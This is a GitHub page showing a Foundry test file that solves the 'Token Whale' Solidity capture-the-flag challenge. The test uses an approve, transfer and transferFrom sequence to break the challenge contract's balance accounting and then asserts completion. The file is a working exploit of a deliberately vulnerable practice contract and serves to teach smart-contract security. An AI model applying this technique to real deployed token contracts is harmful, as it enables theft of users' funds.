-
Notifications
You must be signed in to change notification settings - Fork 21
/
TokenWhaleChallenge.t.sol
37 lines (28 loc) · 1.26 KB
/
TokenWhaleChallenge.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "./TokenWhaleChallenge.sol";
contract TokenWhaleChallengeTest is Test {
TokenWhaleChallenge public tokenWhaleChallenge;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
tokenWhaleChallenge = new TokenWhaleChallenge(alice);
}
function testTokenWhale() public {
emit log_named_uint("token totalSupply", tokenWhaleChallenge.totalSupply());
emit log_named_uint("alice's token balance", tokenWhaleChallenge.balanceOf(alice));
emit log_named_uint("bob's token balance", tokenWhaleChallenge.balanceOf(bob));
vm.startPrank(bob);
tokenWhaleChallenge.approve(alice, 1);
vm.stopPrank();
vm.startPrank(alice);
tokenWhaleChallenge.transfer(bob, 1000);
tokenWhaleChallenge.transferFrom(bob, address(0), 1);
vm.stopPrank();
emit log_named_uint("token totalSupply", tokenWhaleChallenge.totalSupply());
emit log_named_uint("alice's token balance", tokenWhaleChallenge.balanceOf(alice));
emit log_named_uint("bob's token balance", tokenWhaleChallenge.balanceOf(bob));
assertTrue(tokenWhaleChallenge.isComplete());
}
}